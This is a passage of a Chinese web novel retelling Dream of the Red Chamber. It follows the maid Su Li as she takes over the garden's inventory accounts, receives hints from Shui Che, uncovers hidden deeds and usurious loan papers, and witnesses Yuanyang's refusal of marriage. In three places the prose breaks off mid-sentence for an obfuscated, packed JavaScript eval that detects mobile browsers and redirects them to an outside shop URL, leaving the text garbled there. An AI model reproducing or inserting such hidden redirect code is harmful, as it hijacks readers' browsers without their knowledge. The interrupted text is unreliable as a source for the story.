消息一出，府中略有头脸的管事、甚至有些体面的大丫鬟，都不免动了心思。大观园是贵妃省亲之地，地位超然，园内管事虽不管外头经济庶务，但靠近内帷，能时常见到主子，且掌管着园中无数珍贵陈设，是个既有体面、又有油水的清闲肥差。 凤姐为此事，特意召见了林之孝、吴新登等几个心腹管家商议人选。平儿在一旁伺候，苏璃则照例在旁记录要点。 林之孝道：“园中事务虽不繁难，但关乎娘娘体面，一草一木皆需精心。此人必要心细、稳妥，还得略通文墨，能登记造册，免得器物有所遗失。” 吴新登接口道：“正是。我看库上的张材不错，人老实，也认得几个字。” 又有人提了几个名字，凤姐皆不置可否，只捻着手中的蜜蜡佛珠，沉吟不语。她目光扫过垂首记录的苏璃，心中微微一动。这丫头心思缜密，账目清楚，行事也稳妥，更难得的是口风紧，不搬弄是非。只是……年纪太轻，又是丫鬟出身，骤然提拔为管事，恐难以服众，且她如今掌着账房，也离不开。 正犹豫间，忽听外面丫鬟回道：“奶奶，东府珍大奶奶来了。” 话音未落，尤氏已笑着走了进来，见面便道：“好妹妹，我正有事求你。听说你们府里要选个园子总管事？我瞧着，我们那边屋里的彩明，人还机灵，也认得字，不如让她过来帮衬帮衬？” 凤姐心中冷笑，尤氏这是想把手伸到西府来了？面上却笑道：“大嫂说哪里话，一个园子管事，何劳你亲自开口。只是这人选，还需仔细斟酌，总要老太太、太太点了头才好。” 尤氏碰了个软钉子，讪讪地又说了几句闲话，便起身告辞了。 尤氏一走，凤姐脸色便沉了下来。平儿低声道：“奶奶，东府那边的手也伸得太长了。” 凤姐冷哼一声：“她那是瞧着园子里清闲，想安插自己人捞油水呢！”她顿了顿，目光再次落到苏璃身上，心中有了计较。苏璃是她的人，忠心可靠，能力也够，若让她兼管园中器物账目，既堵了东府的嘴，又能将园中财物牢牢控在自己手中，岂不两全其美？只是需得有个由头，不能显得太过刻意。 她想了想，对林之孝等人道：“你们提的人，我都知道了。园中事务虽不杂，但一应陈设器玩，皆价值不菲，账目必要清晰。这样吧，园中具体巡查保管事宜，另选稳妥老成之人。至于所有器玩、陈设、花木的登记造册、稽核账目，仍归账房统一管理，由苏璃兼管，定期入园查验对账。如此，既专业一，也免得多头管理，出了纰漏。” 林之孝等人闻言，互相对视一眼，心知这是凤姐要将财权抓得更紧，自然无有不从，纷纷附和：“奶奶思虑周全，如此甚好！” 苏璃在一旁听着，心中狂跳！这简直是天赐良机！兼管园中器物账目，意味着她可以名正言顺地频繁出入大观园，接触那些可能隐藏着秘密的角落，甚至……有机会接触到管理园中具体事务的人，从而探听消息，发展眼线。而且，园中器玩多有登记，或许能从中窥见一些贾府财产转移、隐匿的蛛丝马迹！ 她强压下心中激动，上前一步，恭声道：“奴婢遵命。定当尽心竭力，将园中一应器物账目打理清楚，绝不负奶奶信任。” 凤姐满意地点点头：“你是个稳妥的，我自然放心。平日账房的事仍是主项，园中账目，每月核对一次便可，若有贵重器物移动、添减，随时登记。一应事宜，直接向平儿回禀。” “是。”苏璃垂首应下。 此事一定，消息很快传开。有人羡慕苏璃更得重用，有人嫉妒她年纪轻轻便手握重权，也有人觉得兼管园账是个辛苦不讨好的差事。苏璃皆不理会，只默默准备。 她做的第一件事，便是调阅所有关于大观园器玩陈设的原始账册和清单。这些册子堆了满满一箱子，记载着省亲前后采买的各色古董、文玩、字画、屏风、瓷器、家具乃至帐幔、椅搭等物，种类繁多，价值不菲。苏璃埋首其中，一一核对，不仅看名称、数量，更留意采买来源、价格、以及……经手人。 一连数日，她除了处理日常账目，便是在灯下翻阅这些册子。她发现，大部分物品采买手续齐全，账目清晰。但有几笔，引起了她的注意。一是几件前朝古画和青铜器，标注为“家藏”，未记价值，经手人是贾珍。二是有一批紫檀木嵌螺钿的家具，采买价格远高于市价，经手人是赖大。三是几样西洋来的自鸣钟、玻璃屏风等物，来源写着“粤海记”，但价格模糊，只记了“议价”，经手人是贾琏。 这些模糊之处，是否藏着什么秘密？那些“家藏”古玩，是真的祖传，还是……变相变现？那高价紫檀家具，差价落入了谁的口袋？贾琏经手的洋货，又有什么猫腻？ 苏璃将这些疑点默默记在心中，用只有自己能懂的符号，标注在那本花样子册子上。她知道，这些只是冰山一角，真正的秘密，恐怕藏在那些未曾登记、或登记含糊的“隐产”之中。 这日，她第一次以查验账目为由，带着两个小丫鬟，进了大观园。时值早春，园中积雪未融，草木凋零，一派肃杀景象。省亲时的灯火辉煌、锦绣繁华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950502|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已不见，只有几个看守园子的婆子，缩在耳房里烤火。 苏璃先去了正殿“顾恩思义”殿，对照账册，一一清点殿中的紫檀雕螭案、青绿古铜鼎、金雉彝等物。婆子们见是二奶奶身边的红人、如今兼管园账的璃姑娘，不敢怠慢，陪着小心。 清点完毕，苏璃状似无意地问道：“这殿里的东西，平日都是谁在打理？可有什么章程？” 一个婆子忙回道：“回姑娘话，平日是张材家的带着几个小丫头负责打扫拂尘，每月大查一次。若有移动，需得回明林之孝大爷。” 苏璃点点头，又去了几处主要楼阁，如潇湘馆、怡红院、蘅芜苑等，虽然此时无人居住，但一应陈设俱在。她仔细核对着账目，目光却敏锐地扫过各处角落，留意着可能存在的暗格、密室，或是与某些管事、婆子交接时流露的蛛丝马迹。 行至园中僻静处，见一小院门扉紧锁，似是堆放杂物的所在。苏璃问：“这里是？” 婆子答道：“这里是‘嘉荫堂’的后罩房，堆放些不常用的桌椅家什。” 苏璃记下地点，并未多问。她知道，有些秘密，就藏在最不起眼的地方。 傍晚回到账房，苏璃将今日清点的情况详细记录在案。她发现，账册记载与实物大致相符，但有些器物的摆放位置、新旧程度，与账目记录略有出入。这或许是日常损耗移动所致，但也可能是……有人做了手脚。 她正凝神思索，平儿悄悄进来，低声道：“妹妹，今日你去园子里，可还顺利？” 苏璃忙起身：“劳平儿姐姐惦记，一切顺利，器物与账目大致对得上。” 平儿点点头，压低声音：“顺利就好。只是有句话，姐姐得提醒你。园子里看着清静，实则眼杂。尤其是东府那边，珍大奶奶似乎对园子里的事颇为上心，你平日查验，还需谨慎些，莫要落了什么口实。” 苏璃心中凛然，平儿这是在提醒她，尤氏可能暗中盯着园子，甚至可能在园中安插了眼线！她感激道：“谢姐姐提点，妹妹记下了。” 平儿叹口气：“如今府里事多，奶奶心烦，咱们做事，更需仔细。园账的事，你多费心，但也不必太过操切，免得惹人注意。” “是，我明白。”苏璃应道。平儿的话，印证了她的猜测，这大观园，绝非清净之地，而是另一个暗流汹涌的战场。 夜深人静，苏璃独坐灯下，翻看着那本花样子册子。上面密密麻麻的符号，记录着府中的财务漏洞、人事关系、以及她暗中调查的线索。如今，又添上了大观园器玩的疑点和潜在的眼线。 兼管园账，是机遇，也是陷阱。她可以借此机会，深入贾府的核心腹地，探查秘密，发展势力。但同样，她也会暴露在更多人的目光之下，成为各方势力角逐的焦点。 下一步，该如何走？是继续谨慎调查，还是冒险接触某些关键人物？那个神秘的北静王四爷水澈，能否成为她破局的关键？他与贾府，究竟有何牵连？ 窗外的寒风呼啸而过，吹得窗纸噗噗作响。苏璃吹熄了灯，在黑暗中睁大眼睛。前路漫漫，危机四伏，但她已无退路。这盘棋，她必须下下去，为了那渺茫的生机，也为了……不甘沉沦的心。 41. 相处 兼管大观园器物账目，如同在苏璃本就紧绷的弦上，又加了一重担子，却也给了她更多辗转腾挪的空间。她每隔数日便需入园清点查验，逐渐熟悉了园中路径、屋舍布局，也与几个看守园子的婆子、负责洒扫的粗使丫头熟络起来。她出手大方，言语温和，从不苛责，很快便在园中仆役间赢得了“和气”、“讲理”的名声。这名声虽微不足道，却如同春日融雪，悄然浸润，为她日后可能的行事铺下了些许松软的土壤。 这日，她照例入园，循着账册，去“藕香榭”清点水阁内的陈设。藕香榭建在池中，有竹桥暗接，此时节荷花未开，水面清冷，唯有几丛枯荷残梗，在早春寒风中瑟瑟。苏璃带着个小丫头，刚踏上竹桥，便见榭中临水的美人靠上，竟坐着一个人。 那人背对着她，身着玄色暗纹锦袍，未戴冠，只以一根简单的白玉簪束发，身形挺拔，正望着池中残荷出神。虽是背影，但那疏淡冷峻的气度，苏璃绝不会认错——北静王府四爷，水澈。 他怎么会在这里？今日并非贾府宴客，他也未与宝玉同行。 苏璃脚步微顿，心中瞬间转过数个念头。避开？已然看见，未免失礼。上前请安？似乎又有些唐突。她正犹豫，水澈仿佛背后长了眼睛，头也未回，只淡淡道：“可是来清点器物的苏姑娘？” 苏璃定了定神，示意小丫头在桥头等候，自己缓步上前，在榭外台阶下敛衽行礼：“奴婢苏璃，见过四爷。不知四爷在此，多有打扰。” 水澈这才慢慢转过身来。早春清冷的光线透过窗格，落在他轮廓分明的脸上，那双深邃的眸子平静无波，看向她时，依旧带着那种洞察一切的锐利，却似乎少了些之前的疏离。 “无妨。”他语气平淡，“此处清静，我常来坐坐。你自便就是。” 苏璃应了声“是”，却并未立刻动作。水澈既在此，她若立刻埋头清点，未免显得刻意避嫌，反而不美。她略一沉吟，便站在原处，目光投向榭中陈设，似在核对账目，实则心神大半都留意着水澈的动静。 水澈也未再开口，只重新将目光投向池面。一时间，藕香榭内只闻风声水声，以及苏璃偶尔翻动账册的轻微声响。 过了片刻，水澈忽然开口，语气依旧平淡，仿佛只是闲谈：“这园子景致极佳，只是如今看来，未免有些冷清。” 苏璃心头微动，谨慎答道：“四爷说的是。如今园中尚无主子居住，自然不及省亲时热闹。” “热闹……”水澈唇角几不可察地弯了一下，那笑意未达眼底，“有时候，热闹未必是福。便如这园中草木，冬日蓄势，春日方能勃发。若冬日里便耗尽精神，恐怕春日也难有生机。” 这话似有所指！苏璃握着账册的手微微收紧。他是在说省亲的奢靡耗尽了贾府的元气吗？还是……在暗示什么？ 她抬起眼，看向水澈的侧影。他依旧望着池水，侧脸线条在光线下显得有些冷硬。“四爷高见。只是世间之事，往往身不由己。譬如这园中草木，何时开花，何时凋零，又何尝是自己能做主的？” 水澈终于转过目光，正眼看向她。那目光锐利如刀，仿佛要剖开她平静的表面，直抵内心。“草木虽不能自主，却知顺势而为。该蛰伏时蛰伏，该生长时生长。最忌的，便是逆势强求，耗尽根本。” 苏璃迎着他的目光，心头剧震。他这番话，已不仅是泛泛而谈，简直像是在对她耳提面命！他在提醒她，贾府已是强弩之末，不可依附太深？还是在告诫她，行事需顺势，不可操切？ 她深吸一口气，压下心中翻腾的思绪，低声道：“四爷教诲，奴婢铭记于心。只是奴婢人微言轻，所求不过安身立命，顺时守分罢了。” “安身立命……”水澈重复了一遍，目光在她清瘦却挺直的背脊上停留片刻，“在这府里，想要求个‘安身立命’，恐怕也非易事。琏二奶奶……近日可还安好？” 他终于问到了凤姐！苏璃心中一紧，面上却不敢有丝毫异样，只恭谨道：“二奶奶近日为府中事务操劳，偶有小恙，将养着便好。劳四爷挂心。” 水澈“嗯”了一声，不再追问，转而道：“你兼管园账，可还顺手？这园中器物繁多，账目琐碎，需得极细心。” 苏璃不知他为何突然问起这个，只得据实回答：“蒙二奶奶信任，奴婢自当尽心。园中器物皆有旧册可查，只需定期核对，防微杜渐，倒也并非难事。” “旧册可查……”水澈似是漫不经心地问，“可都齐全？有没有什么……未曾入册，或是记载模糊之物？” 苏璃心中警铃大作！他为何关心这个？难道他也知道贾府有“隐产”？还是，他在试探她？ 她强迫自己稳住心神，语气平稳：“回四爷，奴婢接手不久，目前核对下来，账册记载与实物大致相符。偶有陈设移动、损耗，皆按例登记在案。至于是否有未曾入册之物……奴婢职位低微，不敢妄言。” 水澈深深看了她一眼，那目光仿佛能穿透一切伪装。良久，他才移开视线，淡淡道：“没有便好。账目清楚，方是长久之道。”他顿了顿，似是无意般加了一句，“我听说，你们府上与‘粤海记’有些生意往来？” 苏璃的心猛地一跳！“粤海记”！这正是她暗中留意、试图建立联系的商号！水澈连这个都知道？他到底知道多少？ “是。”她声音愈发谨慎，“府中采买些海外奇珍，多由此号经办。” “粤海记的东家，与我家有些旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950503|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谊。”水澈语气平淡，仿佛在说一件微不足道的小事，“其人虽重利，但还算守信。若有什么难处，或可一提。” 这话如同惊雷，在苏璃耳边炸响！他这是在……向她递出橄榄枝？还是另一个更深的陷阱？他为何要帮她？就因为觉得她“有点意思”？ 无数疑问涌上心头，她只觉得口干舌燥，一时竟不知该如何回应。 水澈却已站起身，掸了掸衣袖上并不存在的灰尘。“时辰不早，我该走了。你忙你的吧。”说罢，不再看她，径直向竹桥走去。 走过苏璃身边时，他脚步微顿，用只有两人能听到的声音，极轻地说了一句：“顺时而动，谋定后发。园中东南角，暖香坞旁的小库房，或可一看。” 话音落下，人已翩然远去，玄色的身影很快消失在竹桥尽头。 苏璃僵立在原地，只觉一股寒意混合着难以言喻的悸动，从脚底直冲头顶。他最后那句话，是什么意思？暖香坞旁的小库房……那里藏着什么？他又为何要告诉她？ 她猛地想起林之孝提到的“不能动的黑钱”，想起账册上那些模糊的记载，想起凤姐焦头烂额的困境……一个大胆而可怕的猜测，逐渐在她心中成形。 水澈，这位看似冷眼旁观的王府庶子，对贾府内部的隐秘，恐怕知之甚深。他今日这番话，看似偶然，实则处处机锋。他提醒她顺势而为，点出凤姐处境，提及“粤海记”的人脉，最后，更是抛出了一个具体的地点线索。 这绝非寻常的闲谈。这是一种极为隐晦的……合作邀约？还是一种更复杂的利用？ 苏璃心乱如麻。她知道，自己正站在一个至关重要的十字路口。水澈提供的，可能是一条窥见贾府核心秘密、甚至攫取资源的捷径，但也可能是一条万劫不复的险途。这个男人太深不可测，他的动机、他的目的，她一概不知。 然而，她还有别的选择吗？仅凭她自己，在这深宅大院中暗中摸索，想要积累足够的资本和力量，谈何容易？水澈的出现，或许是危机，但也可能是她唯一的转机。 她在藕香榭中站了许久，直到寒意浸透衣衫，才缓缓回过神来。她看了一眼手中紧握的账册，又望了望水澈消失的方向，眼神逐渐变得坚定。 无论如何，暖香坞旁的小库房，她必须去探一探。这或许是验证水澈意图、也是揭开贾府隐秘的关键一步。 她转身，对桥头等候的小丫头平静道：“我们去下一处，蘅芜苑。”声音已然恢复了惯常的沉稳，只是袖中微微颤抖的手指，泄露了她内心远非表面那般平静。 池中枯荷在风中轻轻摇曳，仿佛预示着，这看似沉寂的早春园囿，即将因某些人的悄然行动，而泛起新的、无人能料的波澜。 42. 生情 自藕香榭那番云遮雾绕的谈话后，水澈最后留下的那句“暖香坞旁的小库房，或可一看”，便如同投入苏璃心湖的一颗石子，激起的涟漪久久不能平息。那不仅仅是一个地点，更是一个信号，一个来自那个身份莫测、心思难辨的王府庶子的、意味深长的信号。 苏璃反复咀嚼着水澈的话。“顺时而动，谋定后发”——这是告诫她不可操切。“粤海记的东家，与我家有些旧谊”——这是递出了一条可能的人脉。“暖香坞旁的小库房”——这是一个具体的、充满诱惑与危险的目标。 他究竟想做什么？试探？利用？还是……某种形式的合作？苏璃想不明白。但她知道，自己不能轻举妄动。水澈的每一句话都可能暗藏机锋，每一步都可能是个陷阱。她必须更加谨慎。 然而，好奇与对破局机会的渴望，如同藤蔓般在她心底滋生。暖香坞，位于大观园东南，临近省亲别墅正殿，是一处小巧精致的院落，省亲时曾短暂用作女眷歇息之所，平日少有人至。旁边的小库房，她上次清点时曾路过，门上一把旧锁，婆子说是堆放些废弃不用的旧家具、幔帐等物，并未在意。 如今想来，这“不在意”本身，或许就是一种掩护。 她按捺下立刻去探查的冲动，依旧如常处理账房事务，定期入园清点。只是在路过暖香坞附近时，会格外留意那小库房的动静。她发现，看守园子的婆子每日只早晚巡视一次，那小库房更是从不上锁，也无人问津，仿佛已被彻底遗忘。 时机，需要等待。 这日，她刚从园中核对了几处账目回来，路过穿堂时，隐约听见两个小丫头在角落里嘀嘀咕咕。一个道：“……你听说了吗？东府那边，珍大奶奶这几日身上不大好，请医问药的，折腾得够呛。” 另一个接口：“怎么没听说！还不是为了蓉大奶奶的丧事，还有省亲时那些开销，累着了呗！我听说，珍大爷为了填补窟窿，在外头……” 声音忽然低了下去，苏璃只模糊听到“印子钱”、“利滚利”几个字眼，心中猛地一沉。贾珍居然在外面放印子钱？这可是犯禁的勾当！若此事为真，一旦泄露，便是大祸！ 她脚步未停，仿佛未曾听见，心中却已翻江倒海。贾府的危机，比她想象的还要深重，不仅内囊空虚，竟已开始涉足这等危险营生！难怪凤姐挪用祭田银子，贾珍不闻不问，只怕他自己也泥菩萨过江！ 正思忖间，忽见平儿从那边过来，脸色有些不好看。苏璃忙迎上去：“平儿姐姐，怎么了？” 平儿见是她，叹了口气，低声道：“还不是为了银子的事！前儿庄子上来缴租子，比往年又短了两成。二爷在外头应酬，又要支一笔银子，数目不小，奶奶那里……唉，正为难呢。” 苏璃默然。贾琏琏的花销是个无底洞，凤姐纵有千般手段，也填不满。她犹豫了一下，试探道：“姐姐，我前儿听人说，东府珍大爷那边，似乎也有些……” 平儿迅速看了她一眼，眼神里带着警告：“妹妹，咱们西府的事还管不过来呢，东府的事，少听少问。”话虽如此，她眉宇间的忧色却更深了。 苏璃会意，不再多言。平儿的反应证实了她的猜测，东西两府都已到了山穷水尽的地步，只是在勉力维持表面的光鲜。 接下来的几日，苏璃更加留意府中各处的风吹草动。她发现，来旺家的往凤姐房里跑得更勤了，有时还带着些生面孔的媳妇。林之孝也常常眉头紧锁，与凤姐密谈的时间越来越长。一种山雨欲来的压抑气氛，在荣国府上空悄然弥漫。 这日午后，天空阴沉，飘起了细细的雨丝。苏璃照例去园中清点，特意绕到暖香坞附近。雨中的园子格外寂静，看守的婆子也躲到了屋里。她见四下无人，迅速闪到那小库房前。 门上的锁果然虚挂着，一推就开。库房内光线昏暗，弥漫着一股陈年灰尘和木头霉变的气味。借着门缝透进的微光，可以看到里面确实堆放着一些破损的桌椅、卷起的旧毡毯、以及一些看不清模样的杂物，凌乱不堪，似乎久未有人整理。 苏璃的心跳有些加快。她轻轻掩上门，适应了一下黑暗，开始仔细查看。她不敢点灯，只能借着微弱的光线摸索。家具都是寻常之物，幔帐也已陈旧。她有些失望，难道水澈只是随口一说？或者，秘密不在这里？ 她不死心，继续向里走。库房最里面堆着几个大樟木箱子，上面落满了厚厚的灰尘。她试着推了推，很沉。箱子上挂着锁，但锁扣已经锈蚀。她环顾四周，找到一根废弃的桌腿，用力撬了几下，“咔哒”一声，锁扣竟被撬开了。 她屏住呼吸，轻轻掀开箱盖。里面并非她预想的金银珠宝，而是一卷卷用油布包裹得严严实实的东西。她解开油布，展开一角，借着门缝的光仔细辨认——竟是地契！而且是京城周边几处上好田庄、商铺的地契！其中一些，她从未在府中明面的账册上见过！ 她心中巨震，连忙又打开旁边一个箱子，里面是厚厚一叠借据、当票，还有几本用特殊符号标记的账册。她快速翻看，借据上的金额令人咋舌，利息高得惊人，有些借款方赫然是京城有名的赌坊、暗窑！而当票所当之物，不乏御赐之物、祖传珍宝！那账册上记录的，则是一些隐秘的银钱往来，数额巨大，去向不明！ 苏璃的手微微发抖。这就是林之孝所说的“不能动的黑钱”，或者说，是贾府见不得光的财产和债务！它们被隐匿在这里，成了填补府中巨大亏空的秘密来源，也是悬在贾府头顶的利剑！ 她强抑住狂跳的心，迅速将东西按原样包好，放回箱中，盖好箱盖，将锁扣勉强复原。然后，她退到门边，仔细检查了自己留下的痕迹，确认无误后，才轻轻拉开一条门缝，观察外面。 雨还在下，园中空无一人。她闪身出来，将门虚掩回原状，快步离开。直到走出很远，回到账房附近，她才感觉自己的心脏仍在剧烈跳动，后背已被冷汗浸湿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950504|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这些发现，证实了她的许多猜测，也让她更加看清了贾府华丽外表下的千疮百孔。然而，水澈为何要指引她发现这些？是为了让她知难而退？还是暗示她，可以从这些“黑钱”中寻找机会？ 她正心乱如麻，忽听外面小丫鬟道：“璃姑娘，二门上传来话，说北静王府遣人送了些东西给宝二爷，顺便……顺便给姑娘带了一包东西。” 苏璃一怔，水澈？给她东西？ 她走到廊下，只见一个眼生的小厮，恭敬地递上一个用普通青布包裹的、书本大小的物件。“四爷说，前日在府上叨扰，见姑娘忙于账目，甚是辛劳。此乃铺子里新出的算经注解，或对姑娘有所助益，聊表谢意。” 苏璃接过，入手微沉。她道了谢，打赏了那小厮。回到房中，她解开青布，里面果然是一本崭新的《九章算术注》，纸张墨色都是上乘。她翻开书页，并无任何夹带或字迹。这真的只是一本算经？ 她不死心，仔细翻检，终于在书脊内侧的接缝处，发现了一行用极细的墨笔写下的小字，若非仔细查看，绝难发现。那字迹瘦劲冷峻，正是水澈的手笔： “风起于青萍之末。暖香坞湿冷，易生霉蛀，当勤拂拭。” 苏璃盯着这行字，指尖冰凉，心头却有一股奇异的暖流涌过。他果然知道！他知道她去了暖香坞，发现了秘密！这行字，是提醒，也是告诫。“风起于青萍之末”——暗流已起，需得小心。“暖香坞湿冷，易生霉蛀”——那些见不得光的东西（黑钱债务）如同霉蛀，危险且会蔓延。“当勤拂拭”——要小心处理，不留痕迹。 他没有戳破，没有质问，而是用这种方式，给了她一个隐晦的回应和提醒。这是一种心照不宣的默契，也是一种……难以言喻的牵连。 苏璃将书紧紧抱在胸前，靠在冰冷的墙壁上。窗外雨声淅沥，敲打着屋檐。她的心，却比这春雨更加纷乱。水澈，这个神秘、危险、却又洞察一切的男人，他究竟想从她这里得到什么？而她，又该如何面对这份突如其来的、带着试探与警告的……关注？ 她说不清自己对水澈是何感觉。警惕？是的，他深不可测。畏惧？也有，他掌握着她难以想象的力量和秘密。但除此之外，似乎还有一种极其微弱、却又无法忽视的……悸动。在他那双仿佛能看透一切的眼睛里，她感觉自己不再是荣国府里一个微不足道的、挣扎求存的丫鬟，而是一个被他看见、甚至……被他认真对待的、独立的个体。 这种认知，让她在无边的孤寂与压力中，感受到了一丝奇异的慰藉，却也让她更加惶恐不安。前路迷雾重重，而水澈，究竟是迷雾中的灯塔，还是另一重更深的迷障？ 她不知道。但她知道，从发现暖香坞秘密的那一刻起，从收到这本《九章算术注》开始，她与那个玄衣冷峻的男子之间，已经有了一条看不见的线。这条线，可能将她引向新生，也可能将她拖入万劫不复的深渊。而她已经，无法回头了。 43. 鸳鸯抗婚 暖香坞的秘密与那本暗藏玄机的《九章算术注》，如同两块沉重的巨石压在苏璃心头。水澈的警告犹在耳畔——“风起于青萍之末”。 她知道，贾府这潭看似平静的死水，随时可能因某个不为人知的裂隙而掀起滔天巨浪。她行事愈发谨慎，除了按部就班处理账房和园中事务，便是暗中留意府中银钱往来的细微流向，试图从那些错综复杂的账目和“黑钱”借据中，理出更多头绪。 然而，树欲静而风不止。府中另一场风波，正以出乎所有人意料的方式，骤然掀起。 这日清晨，苏璃刚在账房坐下，便见小丫头们三五成群，交头接耳，神色间带着难以掩饰的惊诧与兴奋。平儿脸色铁青地走进来，对苏璃低声道：“快去老太太房里伺候着，出大事了！” 苏璃心头一紧，忙问：“平儿姐姐，怎么了？” 平儿咬着唇，眼中带着怒意，又有些悲凉：“还不是大老爷！真是越老越荒唐了！竟看上了老太太屋里的鸳鸯，要讨了去做小！鸳鸯不肯，在老太太跟前铰了头发，发了毒誓，如今正闹得不可开交！” 鸳鸯抗婚！苏璃脑中“嗡”的一声。原著的惊心动魄，竟在这个节骨眼上发生了！她立刻意识到，这绝非简单的逼婚事件。 贾赦身为荣国府长房长子，袭着一等将军的爵位，却贪花好色，昏聩无能，如今竟将手伸向了贾母身边最得力、也最受信任的大丫鬟鸳鸯。 这背后，恐怕不止是色欲熏心，更有着对贾母手中权势、财力的试探与觊觎！鸳鸯是贾母的“总钥匙”，掌管着贾母的私房体己，贾赦此举，无异于直接挑战贾母的权威，更是将长房与二房、与贾母之间的矛盾彻底摆上了台面。 “老太太如何说？”苏璃急问。 “老太太气得浑身乱颤，正搂着鸳鸯心肝肉儿地哭呢！把大老爷叫来，痛骂了一顿！大太太也在跟前，没讨着好。如今二奶奶、太太、姨太太、姑娘们都在那边劝着。”平儿语速极快，“妹妹快去，这里我先看着。小心些，这会儿老太太正在气头上，谁的话也听不进，你只安静伺候着，见机行事。” 苏璃不敢耽搁，立刻赶往贾母的上房。还未进门，便听见里面一片混乱的哭声、骂声和劝解声。 贾母歪在榻上，搂着跪在脚边、鬓边散乱、地上还落着一绺断发的鸳鸯，哭得老泪纵横：“我统共就这么一个可靠的人，你们还要来算计！我还没死呢，就容不下我身边的人了？打量着弄开了她，好摆布我这老婆子是不是？” 邢夫人垂手站在一旁，脸色红一阵白一阵，勉强赔笑：“老太太息怒，老爷他……他也是看重鸳鸯这丫头稳重妥当，想着……” “想着什么？”贾母厉声打断，“想着把她弄了去，好把我的箱笼也一并搬空了去？你们打量我是瞎子、聋子，不知道你们那些算计？鸳鸯跟了我一辈子，我离了她，饭也吃不香，觉也睡不稳！你们今□□死了她，明日就逼死我罢！” 王夫人、薛姨妈、李纨等人连忙上前劝慰。凤姐站在贾母身侧，一边替贾母顺气，一边用帕子拭泪，话里却绵里藏针：“老祖宗快别气了，仔细身子。大老爷也是糊涂了，鸳鸯妹妹是老祖宗调理出来的人，品格儿模样儿，府里谁不敬着？大老爷也是爱她的好处，只是这事……也太仓促了些，没得唐突了老祖宗和鸳鸯妹妹。” 贾赦早已被贾母骂得狗血淋头，灰头土脸地退了出去，此时只在门外听着，不敢再进来触霉头。 鸳鸯伏在贾母膝上，哭得声嘶力竭，断断续续地发着誓：“……我是横了心的！当着老太太在这里，我这一辈子，别说是‘宝玉’，就是‘宝金’、‘宝银’、‘宝天王’、‘宝皇帝’，我也不会嫁！我若说一句假话，天打雷劈，不得好死！就是老太太逼着我，我一刀抹死了，也不能从命！伏侍老太太归了西，我也不跟着老子娘哥哥嫂子去，或是寻死，或是剪了头发当尼姑去！若说我不是真心，天地鬼神、日头月亮照着，从嗓子里头长疔，烂了出来……” 字字泣血，句句决绝。满屋子的人无不听得动容变色。王夫人、薛姨妈都落下泪来。便是凤姐，也收了那惯常的伶俐口齿，只默默垂泪。 苏璃悄悄站在角落里，看着这混乱而悲壮的一幕。鸳鸯的刚烈决绝，贾母的愤怒与悲哀，邢夫人的尴尬，王夫人的无奈，凤姐的机变……众人的面目在这剧烈的冲突下纤毫毕现。 她心中亦是翻腾不已。鸳鸯此举，固然是绝境中的反抗，但何尝不是彻底断了自己的后路？经此一事，她在贾府，在贾母心中的地位固然稳如磐石，但也成了贾赦、邢夫人一房的眼中钉、肉中刺。贾母在时，自然无人敢动她；可贾母一旦百年之后呢？ 更让苏璃感到寒意的是，贾赦身为家主，竟如此荒唐昏聩，为了一己私欲，不惜与嫡母撕破脸皮。这贾府的内里，已经从根子上烂了。长房二房明争暗斗，妯娌之间各怀鬼胎，主子们只知享乐挥霍，危机已如黑云压城，他们却还在为着一个丫鬟斗得不可开交。 这场闹剧，直到贾母哭得乏了，众人才劝着歇下。鸳鸯被琥珀、珍珠等大丫鬟扶回自己房中歇息，众人也各自散去，但空气中弥漫的那种紧张、悲哀与不安，却久久不散。 苏璃回到账房，心中仍是难以平静。平儿也已回来，面色沉重，低声道：“你都看见了？这府里……越发不像样了。” 苏璃默然点头，半晌才道：“鸳鸯姐姐……以后的日子，怕是不好过。” 平儿冷笑：“何止不好过。大老爷那人，最是心胸狭窄，今日在老太太那里折了面子，岂能善罢甘休？明着不敢动，暗地里还不知要使什么绊子。鸳鸯也是……太烈性了些。” “不烈性，又能如何？”苏璃轻声道，“难道真由着他们摆布？” 平儿叹了口气，不再说话。两人相对无言，账房内一片沉寂，只听见窗外风吹枯枝的飒飒声响。 傍晚时分，苏璃正在核对一份庄子上送来的年例单子，忽见一个小丫鬟探头进来，小声道：“璃姑娘，鸳鸯姐姐请你过去一趟，说是有话要说。” 苏璃微怔。她与鸳鸯虽同在贾母院中当差过，但交情不算深厚。此时鸳鸯找她，所为何事？她心中疑惑，但还是放下账本，对平儿说了一声，便往鸳鸯住处去了。 